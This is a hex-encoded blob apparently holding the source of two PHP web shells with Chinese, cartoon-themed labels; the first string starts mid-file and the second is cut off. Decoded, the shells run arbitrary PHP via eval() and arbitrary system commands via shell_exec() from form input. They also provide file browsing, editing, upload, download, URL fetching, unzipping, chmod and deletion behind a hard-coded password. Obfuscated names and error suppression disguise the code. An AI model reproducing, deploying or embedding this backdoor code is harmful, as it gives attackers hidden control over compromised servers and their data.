0a20202020202020202e6c656674207b20666c65783a20313b207d0d0a20202020202020202e7269676874207b2077696474683a203335253b207d0d0a20202020202020202e63617264207b206261636b67726f756e643a20236666663b20626f726465723a2032707820736f6c696420236363633b2070616464696e673a20313570783b206d617267696e2d626f74746f6d3a20313570783b207d0d0a20202020202020202e63617264206833207b206d617267696e2d746f703a20303b20636f6c6f723a20236666333333333b20626f726465722d626f74746f6d3a2032707820736f6c696420236666333333333b2070616464696e672d626f74746f6d3a203870783b207d0d0a20202020202020207461626c65207b2077696474683a20313030253b20626f726465722d636f6c6c617073653a20636f6c6c617073653b207d0d0a202020202020202074682c207464207b2070616464696e673a203870783b20626f726465723a2031707820736f6c696420236363633b207d0d0a20202020202020207468207b206261636b67726f756e643a20236635663566353b207d0d0a202020202020202074723a686f766572207b206261636b67726f756e643a20236630663066303b207d0d0a2020202020202020696e7075742c2074657874617265612c2073656c656374207b206261636b67726f756e643a20236666663b20636f6c6f723a20233333333b20626f726465723a2031707820736f6c696420236363633b2070616464696e673a203670783b20666f6e742d66616d696c793a20696e68657269743b207d0d0a2020202020202020627574746f6e207b206261636b67726f756e643a20236666333333333b20636f6c6f723a20236666663b20626f726465723a206e6f6e653b2070616464696e673a2036707820313570783b20637572736f723a20706f696e7465723b20666f6e742d7765696768743a20626f6c643b207d0d0a2020202020202020707265207b206261636b67726f756e643a20233030303b20636f6c6f723a20233030666630303b2070616464696e673a20313070783b206f766572666c6f773a206175746f3b2077686974652d73706163653a207072652d777261703b207d0d0a202020203c2f7374796c653e0d0a3c2f686561643e0d0a3c626f64793e0d0a0d0a3c64697620636c6173733d226e6176223e0d0a202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f6465286469726e616d652824505f4129293b203f3e223e5b20e7bbb4e4bfaee7ab99205d3c2f613e0d0a202020203c6120687265663d22236576616c223e5b20e7bb9de68a80e58f91e58aa8205d3c2f613e0d0a202020203c6120687265663d2223746f6f6c73223e5b20e9858de4bbb6e7aeb1205d3c2f613e0d0a202020203c6120687265663d223f66696e6973683d312220636c6173733d226c223e5b20e98080e59cba205d3c2f613e0d0a3c2f6469763e0d0a0d0a3c64697620636c6173733d226c61796f7574223e0d0a202020203c64697620636c6173733d226c656674223e0d0a20202020202020203c212d2d204576616c20e7bdaee9a1b6202d2d3e0d0a20202020202020203c64697620636c6173733d2263617264222069643d226576616c223e0d0a2020202020202020202020203c68333ef09f8f8eefb88f20e7bb9de68a80e58f91e58aa820284576616c293c2f68333e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c7465787461726561206e616d653d227370656369616c5f6d6f766522207374796c653d2277696474683a313030253b6865696768743a31323070783b2220706c616365686f6c6465723d22706870696e666f28293b223e3c3f706870206563686f20245f504f53545b277370656369616c5f6d6f7665275d203f3f2027273b203f3e3c2f74657874617265613e3c62723e3c62723e0d0a202020202020202020202020202020203c627574746f6e20747970653d227375626d6974223ee586b220e5958aefbc813c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e0d0a2020202020202020202020203c3f706870206966202824455f5220213d3d202727293a203f3e0d0a202020202020202020202020202020203c68343ee6af94e8b59be7bb93e69e9cefbc9a3c2f68343e3c7072653e3c3f706870206563686f2068746d6c7370656369616c63686172732824455f52293b203f3e3c2f7072653e0d0a2020202020202020202020203c3f70687020656e6469663b203f3e0d0a20202020202020203c2f6469763e0d0a0d0a20202020202020203c212d2d20e69687e4bbb6e58897e8a1a8202d2d3e0d0a20202020202020203c64697620636c6173733d2263617264223e0d0a2020202020202020202020203c68333ef09f938220e8b59be8bda6e6a1a3e6a18820283c3f706870206563686f2024505f413b203f3e293c2f68333e0d0a2020202020202020202020203c7461626c653e0d0a202020202020202020202020202020203c74723e3c74683ee5908de7a7b03c2f74683e3c74683ee5a4a7e5b08f3c2f74683e3c74683ee69d83e999903c2f74683e3c74683ee6938de4bd9c3c2f74683e3c2f74723e0d0a202020202020202020202020202020203c3f70687020666f7265616368202824465f4c206173202466293a203f3e0d0a202020202020202020202020202020203c74723e0d0a20202020202020202020202020202020202020203c74643e0d0a2020202020202020202020202020202020202020202020203c3f706870206966202824665b2764275d293a203f3e0d0a202020202020202020202020202020202020202020202020202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f64652824665b2770275d293b203f3e22207374796c653d22636f6c6f723a236666333333333b223e3c3f706870206563686f2024665b276e275d3b203f3e2f3c2f613e0d0a2020202020202020202020202020202020202020202020203c3f70687020656c73653a203f3e0d0a202020202020202020202020202020202020202020202020202020203c6120687265663d223f766965773d3c3f706870206563686f2075726c656e636f64652824665b2770275d293b203f3e223e3c3f706870206563686f2024665b276e275d3b203f3e3c2f613e0d0a2020202020202020202020202020202020202020202020203c3f70687020656e6469663b203f3e0d0a20202020202020202020202020202020202020203c2f74643e0d0a20202020202020202020202020202020202020203c74643e3c3f706870206563686f2024665b2773275d3b203f3e3c2f74643e0d0a20202020202020202020202020202020202020203c74643e3c3f706870206563686f2024665b276d275d3b203f3e3c2f74643e0d0a20202020202020202020202020202020202020203c74643e0d0a2020202020202020202020202020202020202020202020203c3f70687020696620282124665b2764275d293a203f3e0d0a202020202020202020202020202020202020202020202020202020203c6120687265663d223f656469743d3c3f706870206563686f2075726c656e636f64652824665b2770275d293b203f3e223ee8b083e6a0a13c2f613e207c0d0a202020202020202020202020202020202020202020202020202020203c6120687265663d223f646f776e6c6f61643d3c3f706870206563686f2075726c656e636f64652824665b2770275d293b203f3e223ee59b9ee694b63c2f613e207c0d0a2020202020202020202020202020202020202020202020203c3f70687020656e6469663b203f3e0d0a2020202020202020202020202020202020202020202020203c6120687265663d223f72656e616d653d3c3f706870206563686f2075726c656e636f64652824665b2770275d293b203f3e223ee69bb4e5908d3c2f613e207c0d0a2020202020202020202020202020202020202020202020203c6120687265663d223f63686d6f643d3c3f706870206563686f2075726c656e636f64652824665b2770275d293b203f3e223ee8aebee5ae9a3c2f613e207c0d0a2020202020202020202020202020202020202020202020203c6120687265663d223f64656c3d3c3f706870206563686f2075726c656e636f64652824665b2770275d293b203f3e22206f6e636c69636b3d2272657475726e20636f6e6669726d2827e7a1aee5ae9ae99480e6af81efbc9f2729223ee99480e6af813c2f613e0d0a20202020202020202020202020202020202020203c2f74643e0d0a202020202020202020202020202020203c2f74723e0d0a202020202020202020202020202020203c3f70687020656e64666f72656163683b203f3e0d0a2020202020202020202020203c2f7461626c653e0d0a20202020202020203c2f6469763e0d0a202020203c2f6469763e0d0a0d0a202020203c64697620636c6173733d227269676874223e0d0a20202020202020203c212d2d20e5b7a5e585b7e7aeb1202d2d3e0d0a20202020202020203c64697620636c6173733d2263617264222069643d22746f6f6c73223e0d0a2020202020202020202020203c68333ef09f9ba0efb88f20e9858de4bbb6e7aeb12028546f6f6c73293c2f68333e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f73742220656e63747970653d226d756c7469706172742f666f726d2d64617461223e0d0a202020202020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374222076616c75653d2275706c6f6164223e0d0a20202020202020202020202020202020e8a385e8bdbdefbc9a3c696e70757420747970653d2266696c6522206e616d653d2266223e203c627574746f6e3ee4b88ae8bda63c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e3c68723e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374222076616c75653d2275726c646c223e0d0a2020202020202020202020202020202055524cefbc9a3c696e70757420747970653d227465787422206e616d653d22703122207374796c653d2277696474683a3630253b223e203c627574746f6e3ee68a93e58f963c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e3c68723e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374222076616c75653d22756e7a6970223e0d0a20202020202020202020202020202020e8a7a3e58c85efbc9a3c696e70757420747970653d227465787422206e616d653d22703122207374796c653d2277696474683a3630253b223e203c627574746f6e3ee5b195e5bc803c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e3c68723e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374222076616c75653d226d6b646972223e20e5bbbae9989fefbc9a3c696e70757420747970653d227465787422206e616d653d227031223e203c627574746f6e3ee68890e7ab8b3c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374222076616c75653d226d6b66696c65223e20e8aeb0e5bd95efbc9a3c696e70757420747970653d227465787422206e616d653d227031223e203c627574746f6e3ee4b9a6e586993c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e0d0a20202020202020203c2f6469763e0d0a0d0a20202020202020203c212d2d20e5bcafe98193e8be85e58aa9202d2d3e0d0a20202020202020203c64697620636c6173733d2263617264223e0d0a2020202020202020202020203c68333ef09f8f8120e5bcafe98193e8be85e58aa920285465726d696e616c293c2f68333e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c696e70757420747970653d227465787422206e616d653d22647269667422207374796c653d2277696474683a3830253b2220706c616365686f6c6465723d226c73202d6c61223e203c627574746f6e3ee6bc82e7a7bb3c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e0d0a2020202020202020202020203c3f706870206966202824435f52293a203f3e3c7072653e3c3f706870206563686f2068746d6c7370656369616c63686172732824435f52293b203f3e3c2f7072653e3c3f70687020656e6469663b203f3e0d0a20202020202020203c2f6469763e0d0a202020203c2f6469763e0d0a3c2f6469763e0d0a0d0a3c3f7068700d0a2f2f20e4b88be8bdbd0d0a69662028697373657428245f4745545b27646f776e6c6f6164275d2929207b0d0a202020202466203d20245f4745545b27646f776e6c6f6164275d3b0d0a202020206966202869735f66696c652824662929207b0d0a20202020202020206865616465722827436f6e74656e742d446973706f736974696f6e3a206174746163686d656e743b2066696c656e616d653d22272e626173656e616d65282466292e272227293b0d0a20202020202020207265616466696c65282466293b0d0a2020202020202020657869743b0d0a202020207d0d0a7d0d0a2f2f20e69fa5e79c8b0d0a69662028697373657428245f4745545b2776696577275d2929207b0d0a202020202466203d20245f4745545b2776696577275d3b0d0a202020206966202869735f66696c652824662929207b0d0a20202020202020206563686f20273c64697620636c6173733d2263617264223e3c68333ee69fa5e79c8befbc9a272e626173656e616d65282466292e273c2f68333e3c7072653e272e68746d6c7370656369616c63686172732866696c655f6765745f636f6e74656e747328246629292e273c2f7072653e3c2f6469763e273b0d0a202020207d0d0a7d0d0a2f2f20e7bc96e8be910d0a69662028697373657428245f4745545b2765646974275d2929207b0d0a202020202466203d20245f4745545b2765646974275d3b0d0a202020206563686f20273c64697620636c6173733d2263617264223e3c68333ee8b083e6a0a1efbc9a272e626173656e616d65282466292e273c2f68333e3c666f726d206d6574686f643d22706f7374223e273b0d0a202020206563686f20273c696e70757420747970653d2268696464656e22206e616d653d22616374222076616c75653d2273617665223e3c696e70757420747970653d2268696464656e22206e616d653d227031222076616c75653d22272e24662e27223e273b0d0a202020206563686f20273c7465787461726561206e616d653d22703222207374796c653d2277696474683a313030253b6865696768743a33303070783b223e272e68746d6c7370656369616c63686172732866696c655f6765745f636f6e74656e747328246629292e273c2f74657874617265613e3c62723e3c62723e273b0d0a202020206563686f20273c627574746f6e20747970653d227375626d6974223ee99481e5ae9a3c2f627574746f6e3e3c2f666f726d3e3c2f6469763e273b0d0a7d0d0a2f2f20e9878de591bde5908d0d0a69662028697373657428245f4745545b2772656e616d65275d2929207b0d0a20202020246f203d20245f4745545b2772656e616d65275d3b0d0a202020206563686f20273c64697620636c6173733d2263617264223e3c68333ee69bb4e5908d3c2f68333e3c666f726d206d6574686f643d22706f7374223e273b0d0a202020206563686f20273c696e70757420747970653d2268696464656e22206e616d653d22616374222076616c75653d2272656e616d65223e3c696e70757420747970653d2268696464656e22206e616d653d227031222076616c75653d22272e246f2e27223e273b0d0a202020206563686f20273c696e70757420747970653d227465787422206e616d653d227032222076616c75653d22272e626173656e616d6528246f292e27223e203c627574746f6e3ee7a1aee8aea43c2f627574746f6e3e3c2f666f726d3e3c2f6469763e273b0d0a7d0d0a2f2f20e69d83e999900d0a69662028697373657428245f4745545b2763686d6f64275d2929207b0d0a202020202466203d20245f4745545b2763686d6f64275d3b0d0a202020206563686f20273c64697620636c6173733d2263617264223e3c68333ee8aebee5ae9a3c2f68333e3c666f726d206d6574686f643d22706f7374223e273b0d0a202020206563686f20273c696e70757420747970653d2268696464656e22206e616d653d22616374222076616c75653d2263686d6f64223e3c696e70757420747970653d2268696464656e22206e616d653d227031222076616c75653d22272e24662e27223e273b0d0a202020206563686f20273c73656c656374206e616d653d227032223e3c6f7074696f6e2076616c75653d2230363434223e303634343c2f6f7074696f6e3e3c6f7074696f6e2076616c75653d2230373535223e303735353c2f6f7074696f6e3e3c2f73656c6563743e203c627574746f6e3ee8aebee5ae9a3c2f627574746f6e3e3c2f666f726d3e3c2f6469763e273b0d0a7d0d0a3f3e0d0a0d0a3c2f626f64793e0d0a3c2f68746d6c3e","3c3f7068700d0a2f2a203d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d0d0a202020f09fa78020e78cabe5928ce88081e9bca020c2b720e8bfbde98083e68ea7e588b6e58fb00d0a2020203d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d202a2f0d0a4073657373696f6e5f737461727428293b406572726f725f7265706f7274696e672830293b40696e695f7365742827646973706c61795f6572726f7273272c30293b0d0a0d0a2f2a202d2d2d2d20312e20e586b0e7aeb1e997a8e7a681202d2d2d2d202a2f0d0a646566696e652827465249444745272c202761736427293b0d0a0d0a696628697373657428245f4745545b276f7574275d29297b4073657373696f6e5f64657374726f7928293b68656164657228274c6f636174696f6e3a203f27293b657869743b7d0d0a696628697373657428245f504f53545b27636865657365275d29297b0d0a20202020696628245f504f53545b27636865657365275d3d3d3d46524944474529245f53455353494f4e5b276d6f757365275d3d313b0d0a2020202068656164657228274c6f636174696f6e3a203f27293b657869743b0d0a7d0d0a69662821697373657428245f53455353494f4e5b276d6f757365275d29297b0d0a202020206563686f20273c21444f43545950452068746d6c3e3c68746d6c3e3c686561643e3c6d65746120636861727365743d225554462d38223e3c7469746c653ee586b0e7aeb1e997a8e7a6813c2f7469746c653e3c7374796c653e626f64797b6261636b67726f756e643a233365323732333b636f6c6f723a236666663865313b666f6e742d66616d696c793a22436f6d69632053616e73204d53222c637572736976653b646973706c61793a666c65783b6a7573746966792d636f6e74656e743a63656e7465723b616c69676e2d6974656d733a63656e7465723b6865696768743a31303076683b6d617267696e3a303b7d2e626f787b626f726465723a3470782064617368656420233864366536333b70616464696e673a353070783b746578742d616c69676e3a63656e7465723b6261636b67726f756e643a726762612836322c33392c33352c2e39293b7d68317b6c65747465722d73706163696e673a3570783b6d617267696e2d626f74746f6d3a333070783b746578742d736861646f773a302030203130707820236666663865313b7d696e7075747b6261636b67726f756e643a7472616e73706172656e743b636f6c6f723a236666663865313b626f726465723a32707820736f6c696420233864366536333b70616464696e673a313270783b77696474683a32383070783b746578742d616c69676e3a63656e7465723b7d627574746f6e7b6d617267696e2d746f703a323070783b70616464696e673a3132707820343070783b6261636b67726f756e643a233864366536333b636f6c6f723a233365323732333b626f726465723a6e6f6e653b666f6e742d7765696768743a626f6c643b637572736f723a706f696e7465723b7d3c2f7374796c653e3c2f686561643e3c626f64793e3c64697620636c6173733d22626f78223e3c68313ef09fa78020e586b020e7aeb120e997a820e7a6813c2f68313e3c666f726d206d6574686f643d22706f7374223e3c696e707574206e616d653d226368656573652220747970653d2270617373776f72642220706c616365686f6c6465723d22e581b7e59d97e5a5b6e985aa22206175746f666f6375733e3c62723e3c627574746f6e20747970653d227375626d6974223ee6ba9c20e8bf9b20e58ebb3c2f627574746f6e3e3c2f666f726d3e3c2f6469763e3c2f626f64793e3c2f68746d6c3e273b0d0a20202020657869743b0d0a7d0d0a0d0a2f2a202d2d2d2d20322e20e8b7afe5be84e8bfb7e5aeab202d2d2d2d202a2f0d0a245f5f5f505f5f5f3d697373657428245f4745545b27646972275d293f7265616c7061746828245f4745545b27646972275d293a7265616c7061746828272e27293b69662821245f5f5f505f5f5f7c7c2169735f64697228245f5f5f505f5f5f2929245f5f5f505f5f5f3d7265616c7061746828272e27293b245f5f5f505f5f5f3d727472696d28245f5f5f505f5f5f2c4449524543544f52595f534550415241544f52292e4449524543544f52595f534550415241544f523b245f5f5f4d5f5f5f3d27273b0d0a0d0a2f2a202d2d2d2d20332e20e8bfbde98090e4b88ee8bab2e8978f2028e6a0b8e5bf83e980bbe8be91e6b7b7e6b78629202d2d2d2d202a2f0d0a66756e6374696f6e205f5f5f435f415f545f435f485f5f5f2824612c24702c2463297b24663d40666f70656e2824635b305d2c277727293b6966282466297b6677726974652824662c24635b315d293b66636c6f7365282466293b7d69662824613d3d2775706c6f616427262621656d70747928245f46494c45535b2766275d2929406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2766275d5b27746d705f6e616d65275d2c24702e626173656e616d6528245f46494c45535b2766275d5b276e616d65275d29293b69662824613d3d276d6b6469722729406d6b6469722824702e2463293b69662824613d3d276d6b66696c6527294066696c655f7075745f636f6e74656e74732824702e24632c2727293b69662824613d3d2772656e616d6527294072656e616d652824635b305d2c24635b315d293b69662824613d3d2763686d6f6427294063686d6f642824635b305d2c6f63746465632824635b315d29293b69662824613d3d2775726c646c27297b24643d4066696c655f6765745f636f6e74656e7473282463293b6966282464294066696c655f7075745f636f6e74656e74732824702e626173656e616d65282463292c2464293b7d69662824613d3d27756e7a6970272626636c6173735f65786973747328275a6970417263686976652729297b247a3d6e6577205a6970417263686976653b696628247a2d3e6f70656e282463293d3d3d54525545297b247a2d3e65787472616374546f282470293b247a2d3e636c6f736528293b7d7d7d0d0a696628697373657428245f504f53545b27616374275d29295f5f5f435f415f545f435f485f5f5f28245f504f53545b27616374275d2c245f5f5f505f5f5f2c5b245f504f53545b277031275d3f3f27272c245f504f53545b277032275d3f3f27275d293b0d0a696628697373657428245f4745545b2764656c275d29297b69662869735f66696c6528245f4745545b2764656c275d292940756e6c696e6b28245f4745545b2764656c275d293b656c73652040726d64697228245f4745545b2764656c275d293b7d0d0a0d0a2f2a20e69db0e7919ee79a84e5a5b6e985aa20284576616c29202a2f0d0a245f5f5f455f5f5f3d27273b0d0a696628697373657428245f504f53545b276a65727279275d29297b0d0a202020206f625f737461727428293b7472797b6576616c28245f504f53545b276a65727279275d293b7d6361746368285468726f7761626c65202465297b6563686f2022e5a5b6e985aae7a28ee4ba863a20222e24652d3e6765744d65737361676528293b7d245f5f5f455f5f5f3d6f625f6765745f636c65616e28293b0d0a7d0d0a2f2a20e6b1a4e5a786e79a84e788aae5ad902028436f6d6d616e6429202a2f0d0a245f5f5f545f5f5f3d27273b0d0a696628697373657428245f504f53545b27746f6d275d29297b0d0a20202020245f5f5f545f5f5f3d7368656c6c5f657865632822636420222e6573636170657368656c6c61726728245f5f5f505f5f5f292e2220262620222e245f504f53545b27746f6d275d2e2220323e263122293b0d0a7d0d0a0d0a2f2a202d2d2d2d20342e20e5a5b6e985aae6b49ee59cb0e59bbe2028e69687e4bbb6e58897e8a1a829202d2d2d2d202a2f0d0a245f5f5f4c5f5f5f3d5b5d3b0d0a6966282464683d406f70656e64697228245f5f5f505f5f5f29297b0d0a202020207768696c65282824663d72656164646972282464682929213d3d66616c7365297b69662824663d3d272e2729636f6e74696e75653b2466703d245f5f5f505f5f5f2e24663b245f5f5f4c5f5f5f5b5d3d5b276e273d3e24662c2770273d3e2466702c2764273d3e69735f64697228246670292c2773273d3e69735f64697228246670293f272d273a726f756e642866696c6573697a6528246670292f313032342c32292e27204b42272c276d273d3e73756273747228737072696e74662827256f272c66696c657065726d732824667029292c2d34295d3b7d0d0a20202020636c6f736564697228246468293b0d0a7d0d0a75736f727428245f5f5f4c5f5f5f2c666e2824612c2462293d3e24615b2764275d3d3d24625b2764275d3f7374726e617463617365636d702824615b276e275d2c24625b276e275d293a2824615b2764275d3f2d313a3129293b0d0a3f3e0d0a3c21444f43545950452068746d6c3e0d0a3c68746d6c206c616e673d227a68223e0d0a3c686561643e0d0a202020203c6d65746120636861727365743d225554462d38223e0d0a202020203c7469746c653ee8bfbde98083e68ea7e588b6e58fb03c2f7469746c653e0d0a202020203c7374796c653e0d0a2020202020202020626f6479207b20666f6e742d66616d696c793a2022436f6d69632053616e73204d53222c20637572736976653b206261636b67726f756e643a20233365323732333b20636f6c6f723a20236666663865313b206d617267696e3a20313070783b20666f6e742d73697a653a20313470783b207d0d0a20202020202020202e6e6176207b206261636b67726f756e643a20233564343033373b20626f726465723a2034707820736f6c696420233864366536333b2070616464696e673a20313070783b206d617267696e2d626f74746f6d3a20313070783b20646973706c61793a20666c65783b206761703a20313570783b207d0d0a20202020202020202e6e61762061207b20636f6c6f723a20236666663865313b20746578742d6465636f726174696f6e3a206e6f6e653b20666f6e742d7765696768743a20626f6c643b207d0d0a20202020202020202e6e617620612e6c207b206d617267696e2d6c6566743a206175746f3b20636f6c6f723a20236666353732323b207d0d0a20202020202020202e6c61796f7574207b20646973706c61793a20666c65783b206761703a20313570783b207d0d0a20202020202020202e6c656674207b20666c65783a20313b207d0d0a20202020202020202e7269676874207b2077696474683a203335253b207d0d0a20202020202020202e63617264207b206261636b67726f756e643a20233465333432653b20626f726465723a2032707820736f6c696420233864366536333b2070616464696e673a20313570783b206d617267696e2d626f74746f6d3a20313570783b207d0d0a20202020202020202e63617264206833207b206d617267696e2d746f703a20303b20636f6c6f723a20236666623734643b20626f726465722d626f74746f6d3a203270782064617368656420233864366536333b2070616464696e672d626f74746f6d3a203870783b207d0d0a20202020202020207461626c65207b2077696474683a20313030253b20626f726465722d636f6c6c617073653a20636f6c6c617073653b207d0d0a202020202020202074682c207464207b2070616464696e673a203870783b20626f726465723a2031707820736f6c696420233864366536333b207d0d0a20202020202020207468207b206261636b67726f756e643a20233664346334313b207d0d0a202020202020202074723a686f766572207b206261636b67726f756e643a20233564343033373b207d0d0a2020202020202020696e7075742c2074657874617265612c2073656c656374207b206261636b67726f756e643a20233365323732333b20636f6c6f723a20236666663865313b20626f726465723a2031707820736f6c696420233864366536333b2070616464696e673a203670783b20666f6e742d66616d696c793a20696e68657269743b207d0d0a2020202020202020627574746f6e207b206261636b67726f756e643a20233864366536333b20636f6c6f723a20236666663865313b20626f726465723a206e6f6e653b2070616464696e673a2036707820313570783b20637572736f723a20706f696e7465723b20666f6e742d7765696768743a20626f6c643b207d0d0a2020202020202020707265207b206261636b67726f756e643a20233231313931353b20636f6c6f723a20233030666630303b2070616464696e673a20313070783b206f766572666c6f773a206175746f3b2077686974652d73706163653a207072652d777261703b207d0d0a202020203c2f7374796c653e0d0a3c2f686561643e0d0a3c626f64793e0d0a0d0a3c64697620636c6173733d226e6176223e0d0a202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f6465286469726e616d6528245f5f5f505f5f5f29293b203f3e223e5b20e59b9ee586b0e7aeb1205d3c2f613e0d0a202020203c6120687265663d22236576616c223e5b20e69db0e7919ee79a84e5a5b6e985aa205d3c2f613e0d0a202020203c6120687265663d2223746f6f6c73223e5b20e98193e585b7e7aeb1205d3c2f613e0d0a202020203c6120687265663d223f6f75743d312220636c6173733d226c223e5b20e6ba9ce8b5b0205d3c2f613e0d0a3c2f6469763e0d0a0d0a3c64697620636c6173733d226c61796f7574223e0d0a202020203c64697620636c6173733d226c656674223e0d0a20202020202020203c212d2d204576616c20e7bdaee9a1b6202d2d3e0d0a20202020202020203c64697620636c6173733d2263617264222069643d226576616c223e0d0a2020202020202020202020203c68333ef09fa78020e69db0e7919ee79a84e5a5b6e985aa20284576616c293c2f68333e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c7465787461726561206e616d653d226a6572727922207374796c653d2277696474683a313030253b6865696768743a31323070783b2220706c616365686f6c6465723d22706870696e666f28293b223e3c3f706870206563686f20245f504f53545b276a65727279275d203f3f2027273b203f3e3c2f74657874617265613e3c62723e3c62723e0d0a202020202020202020202020202020203c627574746f6e20747970653d227375626d6974223ee581b720e590833c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e0d0a2020202020202020202020203c3f7068702069662028245f5f5f455f5f5f20213d3d202727293a203f3e0d0a202020202020202020202020202020203c68343ee5a5b6e985aae5b191efbc9a3c2f68343e3c7072653e3c3f706870206563686f2068746d6c7370656369616c636861727328245f5f5f455f5f5f293b203f3e3c2f7072653e0d0a2020202020202020202020203c3f70687020656e6469663b203f3e0d0a20202020202020203c2f6469763e0d0a0d0a20202020202020203c212d2d20e69687e4bbb6e58897e8a1a8202d2d3e0d0a20202020202020203c64697620636c6173733d2263617264223e0d0a2020202020202020202020203c68333ef09fa78020e5a5b6e985aae6b49ee59cb0e59bbe20283c3f706870206563686f20245f5f5f505f5f5f3b203f3e293c2f68333e0d0a2020202020202020202020203c7461626c653e0d0a202020202020202020202020202020203c74723e3c74683ee5908de58fb73c2f74683e3c74683ee5a4a7e5b08f3c2f74683e3c74683ee69d83e999903c2f74683e3c74683ee6938de4bd9c3c2f74683e3c2f74723e0d0a202020202020202020202020202020203c3f70687020666f72656163682028245f5f5f4c5f5f5f206173202466293a203f3e0d0a202020202020202020202020202020203c74723e0d0a20202020202020202020202020202020202020203c74643e0d0a2020202020202020202020202020202020202020202020203c3f706870206966202824665b2764275d293a203f3e0d0a202020202020202020202020202020202020202020202020202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f64652824665b2770275d293b203f3e22207374796c653d22636f6c6f723a236666623734643b223e3c3f706870206563686f2024665b276e275d3b203f3e2f3c2f613e0d0a2020202020202020202020202020202020202020202020203c3f70687020656c73653a203f3e0d0a202020202020202020202020202020202020202020202020202020203c6120687265663d223f766965773d3c3f706870206563686f2075726c656e636f64652824665b2770275d293b203f3e223e3c3f706870206563686f2024665b276e275d3b203f3e3c2f613e0d0a2020202020202020202020202020202020202020202020203c3f70687020656e6469663b203f3e0d0a20202020202020202020202020202020202020203c2f74643e0d0a20202020202020202020202020202020202020203c74643e3c3f706870206563686f2024665b2773275d3b203f3e3c2f74643e0d0a20202020202020202020202020202020202020203c74643e3c3f706870206563686f2024665b276d275d3b203f3e3c2f74643e0d0a20202020202020202020202020202020202020203c74643e0d0a2020202020202020202020202020202020202020202020203c3f70687020696620282124665b2764275d293a203f3e0d0a202020202020202020202020202020202020202020202020202020203c6120687265663d223f656469743d3c3f706870206563686f2075726c656e636f64652824665b2770275d293b203f3e223ee6b682e694b93c2f613e207c0d0a202020202020202020202020202020202020202020202020202020203c6120687265663d223f646f776e6c6f61643d3c3f706870206563686f2075726c656e636f64652824665b2770275d293b203f3e223ee58fbce8b5b03c2f613e207c0d0a2020202020202020202020202020202020202020202020203c3f70687020656e6469663b203f3e0d0a2020202020202020202020202020202020202020202020203c6120687265663d223f72656e616d653d3c3f706870206563686f2075726c656e636f64652824665b2770275d293b203f3e223ee69bb4e5908d3c2f613e207c0d0a2020202020202020202020202020202020202020202020203c6120687265663d223f63686d6f643d3c3f706870206563686f2075726c656e636f64652824665b2770275d293b203f3e223ee5b081e58db03c2f613e207c0d0a2020202020202020202020202020202020202020202020203c6120687265663d223f64656c3d3c3f706870206563686f2075726c656e636f64652824665b2770275d293b203f3e22206f6e636c69636b3d2272657475726e20636f6e6669726d2827e695b2e69995efbc9f2729223ee695b2e699953c2f613e0d0a20202020202020202020202020202020202020203c2f74643e0d0a202020202020202020202020202020203c2f74723e0d0a202020202020202020202020202020203c3f70687020656e64666f72656163683b203f3e0d0a2020202020202020202020203c2f7461626c653e0d0a20202020202020203c2f6469763e0d0a202020203c2f6469763e0d0a0d0a202020203c64697620636c6173733d227269676874223e0d0a20202020202020203c212d2d20e5b7a5e585b7e7aeb1202d2d3e0d0a20202020202020203c64697620636c6173733d2263617264222069643d22746f6f6c73223e0d0a2020202020202020202020203c68333ef09fa7b020e98193e585b7e7aeb12028546f6f6c73293c2f68333e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f73742220656e63747970653d226d756c7469706172742f666f726d2d64617461223e0d0a202020202020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374222076616c75653d2275706c6f6164223e0d0a20202020202020202020202020202020e8978fe58cbfefbc9a3c696e70757420747970653d2266696c6522206e616d653d2266223e203c627574746f6e3ee5a19ee585a53c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e3c68723e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374222076616c75653d2275726c646c223e0d0a2020202020202020202020202020202055524cefbc9a3c696e70757420747970653d227465787422206e616d653d22703122207374796c653d2277696474683a3630253b223e203c627574746f6e3ee99293e58f963c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e3c68723e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374222076616c75653d22756e7a6970223e0d0a20202020202020202020202020202020e8a7a3e58e8befbc9a3c696e70757420747970653d227465787422206e616d653d22703122207374796c653d2277696474683a3630253b223e203c627574746f6e3ee69295e5bc803c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e3c68723e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a2020202020202